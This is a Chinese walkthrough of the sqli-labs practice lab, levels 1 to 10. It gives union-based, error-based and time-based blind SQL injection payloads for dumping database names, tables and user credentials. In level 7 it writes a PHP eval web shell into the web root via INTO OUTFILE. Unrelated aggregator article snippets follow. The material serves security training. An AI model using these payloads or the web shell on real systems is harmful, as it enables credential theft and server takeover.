注入雙括號報錯注入_SQL手動注入:sqlilabs(less110)

種一棵樹最好的時間是10年前,其次是現在。

忘了是誰
a8dd64442640e8d6f3204d4751535ab1.png

前言

說實話,由于前段時間學 python?,對于 OWASP TOP10?漏洞的學習都有所落下,雖然現在也在慢慢復習當中,但是今晚談及的 SQL 注入漏洞手動注入和自動化(sqlmap)注入的一些知識時,不免有些語塞,有些命令都已經開始淡忘,想想得補一補,于是就打算拿 sqli-labs?這個SQL 注入專屬練習靶場來重溫一下,順便把之前寫得博文搬到公眾號上來。

豬(鄙夷的目光):文字的搬運工。。。

4f4fc37433e9f945b14ecd1e89bb002b.png

匠(撓撓頭d3de483a8c2e2cb9410195e710b18611.png):后續對于這個靶場的自動化(sqlmap)注入姿勢也總結一下吧,順便復習一下 sqlmap 。

ce5723238f81fda8165cf916606cf909.png

a8dd64442640e8d6f3204d4751535ab1.png

環境準備

phpstydy?

firefox?瀏覽器

HackBar?插件

sqli-labs?源碼

sublime??

中國菜刀

hackbar 插件新版的要錢,可以去下載舊版的,或者有其他替代品,功能也差不多

a8dd64442640e8d6f3204d4751535ab1.png

less1

源碼分析
  1. 采用?get?方法接收用戶輸入

  2. 單引號閉合參數

  3. 參數拼接?sql?語句進行數據庫查詢

623cc2f24106321d012e3cb4dc2ef47d.png

漏洞利用

01

查看數據表列數?

猜測列數為 3 ,回顯正常

index.php?id=1'?order?by?3?--+

6109185a2bbf8e209d3ca39301f9e575.png

猜測列數為 4 ,出現錯誤,說明當前數據表列數為 3 。

58562fbbf40fd98f73195d34362b2b40.png

02

union查詢

MySQL5.0?之后有一個?information_schema 數據庫

查看回顯位,可以得知數字 2 和 3 可以回顯。

index.php?id=0'?union?select?1,2,3?--+

ecd219a54ebc18ad8359d72478110213.png

利用回顯位查看數據庫相關信息

index.php?id=0'?union?select?1,version(),database()?--+

9d30b8db8a0f2c1d8667a27fe924d953.png

爆出 security 的所有表

index.php?id=0'?union?select?1,(select?group_concat(table_name)?from?information_schema.tables?where?table_schema='security'),database()?--+

d4d44cd5e73c02db324d732d1f22f589.png

查看 users 表下的所有列

index.php?id=0'?union?select?1,(select?group_concat(column_name)?from?information_schema.columns?where?table_schema='security'?and?table_name='users'),database()?--+

baa0f152b856d91fe396e4850a903f5d.png

查看 users 表下的所有數據

index.php?id=0'?union?select?1,(select?group_concat(username,'-')?from?security.users),(select?group_concat(password)?from?security.users)?--+

55da87f1f06334d08582e284badda02a.png

a8dd64442640e8d6f3204d4751535ab1.png

less2

源碼分析
  1. ?直接獲取用戶輸入

  2. sql?語句拼接

9987dd6d876d4af2cbaac478791b1fa6.png

漏洞利用

和 Less1 相比就是在進行 sql 語句拼接的時候沒有對參數進行單引號引用。思路和 Less1 一樣,就是不用閉合單引號和注釋后面無關內容而已。

01

union注入

index.php?id=0?union?select?1,2,3

c05d998fe9a98711c33c27595cc34ec5.png

a8dd64442640e8d6f3204d4751535ab1.png

less3

源碼分析
  1. ?直接說去用戶輸入

  2. 拼接?sql?語句時將參數用單引號+括號進行引用

15b4b85a1a5b5dc442fa1f78528d7e71.png

漏洞利用

對單引號和括號進行閉合即可,同時使用注釋符將無用部分注釋掉,注入思路和 Less1 一樣。

01

union注入

index.php?id=0')?union?select?1,2,3?--+

92fe0877fba39bdfc6ce999a5b4d5df3.png

a8dd64442640e8d6f3204d4751535ab1.png

less4

源碼分析
  1. ?直接獲取用戶輸入

  2. 對參數進行雙引號+括號引用

17ad271f6314fee3f4e197f10fefd2d5.png

漏洞利用

對雙引號和括號進行閉合,注入思路和 Less 1 一樣。

a8dd64442640e8d6f3204d4751535ab1.png

less5

源碼分析
  1. ?直接獲取用戶輸入

  2. 對參數進行單引號引用

  3. 沒有數據回顯

  4. 有錯誤信息回顯

dc8dd5eb43f155816b2e897523e1ac7a.png

漏洞利用

01

報錯注入

報錯注入會涉及三個函數 floor、updatexml、extractvalue。

MySQL_v5.0.96 還有 floor?報錯注入,高版本的沒有。

MySQL 5.1.5 版本種添加了對?XML?文檔進行查詢和修改的兩個函數:extractvalue 和?updatexml 。

三個函數的運用格式如下:

floor

select?1?from?(select count(*), concat((database()),floor(rand(0)*2))x?from?information_schema.tables?group?by?x)a

updatexml

updatexml(1,concat(0x7e,(database()),0x7e),1)

extractvalue

extractvalue(1,concat(0x7e,(database()),0x7e))

這里主要拿 floor?函數來做演示。可以拆分為幾部分方便記憶。

select 1 from( i )ai = select count(*),concat( j )x from information_schema.tables group by xj?=?payload,floor(rand(0)*2)

顯示當前數據庫

index.php?id=0'?and?(select?1?from(select?count(*),concat((database()),floor(rand(0)*2))x?from?information_schema.tables?group?by?x)a)?--+

fd33066bfaba7fbd199ac7e774180962.png

顯示當前數據庫下所有表,這里使用 group_concat() 顯示所有表,出現錯誤 “信息超過一行” 。

index.php?id=1'?and?(select?1?from(select?count(*),concat((select?table_name?from?information_schema.tables?where?table_schema='security'?limit?0,1),floor(rand(0)*2))x?from?information_schema.tables?group?by?x)a)?--+

67173c5413b2d731abe2162a52b40871.png

使用 limit 一個一個顯示出來。

ps: 這里的 limit 0,1 代表第一個數據;limit 1,1 代表第二個數據

index.php?id=1'and?(select?1?from(select?count(*),concat((select?table_name?from?information_schema.tables?where?table_schema='security'?limit?0,1),floor(rand(0)*2))x?from?information_schema.tables?group?by?x)a)?--+

a77cdddc9681539c4ef7885d06323080.png

a8dd64442640e8d6f3204d4751535ab1.png

less6

源碼分析
  1. 直接獲取用戶輸入

  2. 雙引號應用參數

  3. 沒有數據信息回顯

  4. 有錯誤信息回顯

漏洞利用

相比于 Less 5,這里的參數用雙引號引用,注意雙引號閉合,注釋符的使用即可,解題思路和 Less 5 一樣。

a8dd64442640e8d6f3204d4751535ab1.png

less7

源碼分析
  1. 直接獲取用戶參數

  2. 用雙括號+雙引號引用參數

  3. 沒有數據信息回顯

  4. mysql_error()函數被注釋

b5e5b592876d6bf404864d4a6ee67160.png

漏洞利用

頁面提示我們 outfile 命令寫入木馬文件

c4582bd12d6b683ed4b3badaaaa8332c.png

這種方法的關鍵之處在于知道網站在系統的絕對路徑和能夠找到寫入文件的路徑,之后用菜刀進行連接。

注:反斜杠 \?是轉義字符,這里使用雙反斜杠 \\?表示反斜杠;也可以使用正斜杠 / 代替反斜杠;也開始使用 r 將引號里面的內容定義為字符串,如:r"C:\\phpStudy2013\\WWW\\script.php"

index.php?id=-1'))?union?select?1,"<?php ?@eval($_POST['pass']);?>",3?into?outfile?"C:\\phpStudy2013\\WWW\\script.php"?--+

fd8afd53beb1f5f9d85d3762e2a31610.png

之后訪問上傳的一句話文件。

f8e507bf4ad81e424c565bfeee783449.png

使用菜刀連接

bc27c07391016e6e7d48754f989bbaf2.png

07712f71c6fd8ba97ca4f5d22ab684fa.png

a8dd64442640e8d6f3204d4751535ab1.png

less8

源碼分析
  1. 直接獲取用戶參數

  2. 單引號引用參數

  3. 沒有數據信息回顯

  4. 也沒有錯誤信息回顯

4217d9a89fc03275430e4dafe44c4cb0.png

漏洞利用

01

時間盲注

沒有錯誤信息回顯,那報錯注入的方法就行不通,可以試一試時間盲注。

判斷時間盲注的方法先是id=1' or sleep(1) # ,如果延時則存在延時注入

時間盲注的格式如下:

if((判斷條件),(條件為 true 時執行),(條件為 false 執行))

if(ascii(substring(database()),1,1)=115,sleep(1),1)

猜測當前數據庫,若當前數據庫的第一個字母的 ASCII碼大于0,則延時5秒。

index.php?id=1'?and?if(ascii(substring(database(),1,1))>0,sleep(5),1)?--+

4d07dc5d3be6e957cf89caa6bde0ed72.png

猜測得出第一個字母位's',ascii(s) = 115

index.php?id=1'?and?if(ascii(substring(database(),1,1))=115,sleep(5),1)?--+

以此類推去猜,費勁,一般報錯注入/時間盲注這些比較費時的操作都交給 sqlmap 去自動化注入比較省事。

a8dd64442640e8d6f3204d4751535ab1.png

less9

源碼分析
  1. 直接獲取用戶輸入

  2. 單引號引用,參數拼接

  3. 沒有數據回顯

  4. 沒有錯誤信息回顯

4099c4b6c29f679fe3e90f9e5796d1a1.png

漏洞利用

時間盲注,注意單引號閉合,思路和 Less 8 一樣。

a8dd64442640e8d6f3204d4751535ab1.png

less10

源碼分析
  1. 直接獲取用戶參數

  2. 雙引號引用參數進行?sql?語句拼接

  3. 沒有數據回顯

  4. 沒有錯誤信息回顯

e16fd75e6aa0f3c8ee11486118c64cf0.png

漏洞利用

時間盲注,注意雙引號的閉合,注入思路和 Less 8 一樣。

a8dd64442640e8d6f3204d4751535ab1.png

尾聲

我是匠心,一個在清流旁默默磨劍的匠人,希望有一天能利刃出鞘,仗劍走江湖。

94fa4a967a76f1d813942bfe9807b745.png

好文!必須在看

留言區

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/270697.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/270697.shtml
英文地址,請注明出處:http://en.pswp.cn/news/270697.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

try、catch、finally用法總結

一、異常的處理&#xff1a;抓拋模型過程一&#xff1a;"拋"&#xff1a;程序在正常執行的過程中&#xff0c;一旦出現異常&#xff0c;就會在異常代碼處生成一個對應異常類的對象。并將此對象拋出。一旦拋出對象以后&#xff0c;其后的代碼就不再執行。關于異常對象…

markdown學習/mou

markdown編輯器mou markdown編輯器的使用很簡單&#xff0c;mac平臺選擇課 MOU 這款比較輕的客戶端。 使用也很方便&#xff0c;打開軟件&#xff0c;->helo->mou help 就有各種示例&#xff0c;照葫蘆畫瓢。 有些關鍵字需要轉義,使用的時候要注意&#xff0c;比如插入一…

硬件知識:內存條出現故障的解決方案!

“電腦不時的突然出現藍屏”&#xff0c;“開機之后毫無規律的死機”&#xff0c;“開不了機&#xff0c;一開機就出現嘶鳴聲”&#xff0c;如果你的電腦出現了以上情況&#xff0c;就是你的內存兼容性出了問題&#xff0c;那么這種故障該如何解決呢&#xff1f;下面&#xff0…

api zabbix 拓撲圖 獲取_zabbix網絡拓撲圖配置-Maps(示例代碼)

zabbix network map”可以簡單的理解為動態網絡拓撲圖&#xff0c;可以針對業務來配置zabbix map&#xff0c;通過map可以了解應用的整體狀況&#xff1a;服務器是否異常、網絡是否有故障、應用當前什么狀態。如果你不需要這些東西&#xff0c;至少你可以通過network map繪制一…

.NET 面試題(2)

61、Application 、Cookie和 Session 兩種會話有什么不同&#xff1f; 1.Application 儲存在服務端&#xff0c;沒有時間限制&#xff0c;服務器關閉即銷毀&#xff08;前提是自己沒寫銷毀方法&#xff09; 2.Session 儲存在服務端&#xff0c;客戶端&#xff08;瀏覽器&#x…

盤點程序員必備的專業術語,值得看一看

英文縮寫 API 應用程序接口&#xff08;英語&#xff1a;Application Programming Interface&#xff0c;簡稱&#xff1a;API&#xff09;&#xff0c;又稱為應用編程接口&#xff0c;就是軟件系統不同組成部分銜接的約定。由于近年來軟件的規模日益龐大&#xff0c;常常需要把…

app上線發布流程_APP上線發布流程

上線流程上線流程的主要步驟在上線之前對程序進行內存動態和靜態分析&#xff0c;注意啟動圖的屏幕適配&#xff0c;不然會自動拉升屏幕&#xff0c;使得屏幕自動適配失效生成cer證書&#xff1a;cer是一個跟電腦相關聯的證書文件&#xff0c;讓電腦具備真機調試的功能要借助CS…

java.io.IOException: Broken pipe 的異常處理

斷開的管道 java.io.IOException: Broken pipe 解決方法 一、Broken pipe產生原因分析 1.當訪問某個服務突然服務器掛了&#xff0c;就會產生Broken pipe; 2.客戶端讀取超時關閉了連接&#xff0c;這時服務器往客戶端再寫數據就發生了broken pipe異常&#xff01; 二、方案…

IDEA中安裝配置Jrebel熱部署插件用法筆記

今天給大家介紹一下IDEA中安裝配置Jrebel熱部署插件用法&#xff0c;希望對大家能有所幫助&#xff01;1、Jrebel插件介紹JRebel屬于一款JAVA虛擬機插件&#xff0c;它可以讓你的項目在不需要進行重新編譯的情況下&#xff0c;就可以實時看到代碼的變化對項目的影響。這對我們開…

集成支付寶錢包支付iOS SDK的方法與經驗

下載 首先&#xff0c;你要想找到這個SDK&#xff0c;都得費點功夫。現在的SDK改名叫移動支付集成開發包了。 https://b.alipay.com/order/productDetail.htm?productId2013080604609654&tabId4#ps-tabinfo-hash Baidu和Googlep排在前面的支付寶開放平臺&#xff0c;里面的…

zabbix 監控項自動發現過濾_【Zabbix監控教程】LLD低級別自動發現配置教程

低級別自動發現簡稱LLD&#xff0c;使用低級別自動發現可以實現根據Agent的實際情況去自動創建監控項&#xff0c;適用于配置不一的環境。比如A主機有3塊硬盤&#xff0c;B主機有5塊硬盤&#xff0c;如果不使用LLD的話就需要人肉去為每個硬盤創建監控項。而有了LLD就可以實現自…

Spring Boot單元測試報錯java.lang.IllegalStateException: Could not load TestContextBootstrapper [null]

一&#xff1a;運行test類方法時候報錯 報錯 java.lang.IllegalStateException: Could not load TestContextBootstrapper [null]. Specify BootstrapWiths value attribute or make the default bootstrapper class available.at org.springframework.test.context.BootstrapU…

PHP底層原理分析和底層擴展編寫

運行原理 http://www.phpchina.com/article-40203-1.htmlPHP底層開發 可以理解為就是C的開發&#xff0c;那么簡單地說如果我們要查看某個PHP函數的底層實現怎么看呢&#xff1f;需要PHP源碼包&#xff1a;http://www.php.net/downloads.php主要目錄是Zend 和ext(寫擴展的目錄…

硬件知識:DP接口和HDMI接口對比,看完你就懂了

目錄 一、DP接口 二、HDMI接口 三、總結 電腦顯示器高清傳輸通過會用到兩個接口&#xff0c;就是DP接口和HDMI接口&#xff0c;今天電腦學習小編帶大家對比一下這兩個接口。 一、DP接口 DisplayPort縮寫DP&#xff0c;是一個由PC及芯片制造商聯盟開發&#xff0c;視頻電子標準協…

文治者必有武備不然長大了挨欺負_【博古齋·六月春拍】人文事者必有武備

原標題&#xff1a;【博古齋六月春拍】人文事者必有武備上海博古齋 2017年春季藝術品拍賣會6月24日 中國書畫 文房雅玩6月25日 古籍善本文獻資料上海大劇院八樓宴會廳(上海市黃陂北路200號A1門入口)圖錄已寄出&#xff0c;請各位藏友注意查收人文事者必有武備LOT 1649 武備志二…

@Transactional 使用

1 .添加位置 1&#xff09;接口實現類或接口實現方法上&#xff0c;而不是接口類中。 2&#xff09;訪問權限&#xff1a;public 的方法才起作用。Transactional 注解應該只被應用到 public 方法上&#xff0c;這是由 Spring AOP 的本質決定的。 系統設計&#xff1a;將標簽放…

SpringBoot集成JPA用法筆記

今天給大家整理SpringBoot集成JPA用法。希望對大家能有所幫助&#xff01;搭建SpringBoot項目新建配置文件 application.ymlserver: port: 8090 spring: #通用的數據源配置datasource: driverClassName: com.mysql.jdbc.Driver url: jdbc:mysql://localhost:3306/test?useSSLf…

【轉】有的共享軟件賺了一百萬美元,而為什么你沒有?我的軟件推廣成功之路...

有的共享軟件賺了一百萬美元&#xff0c;而為什么你沒有&#xff1f; 轉自&#xff1a;http://blog.csdn.net/wangjiwei2010/article/details/1267044 譯&#xff1a;DreamGoal 原作&#xff1a;Steve Pavlin 幾個月以前&#xff0c;我決定對共享軟件業進行一項非正式的長期研…

vue全局引入openlayers_vue中使用OpenLayers(一):引入谷歌地圖

vue中使用OpenLayers(一)&#xff1a;引入谷歌地圖第一步npm install olpackage.json 中可以看到第二步引入import "ol/ol.css";import Map from "ol/Map";import Feature from "ol/Feature";import View from "ol/View";import XYZ f…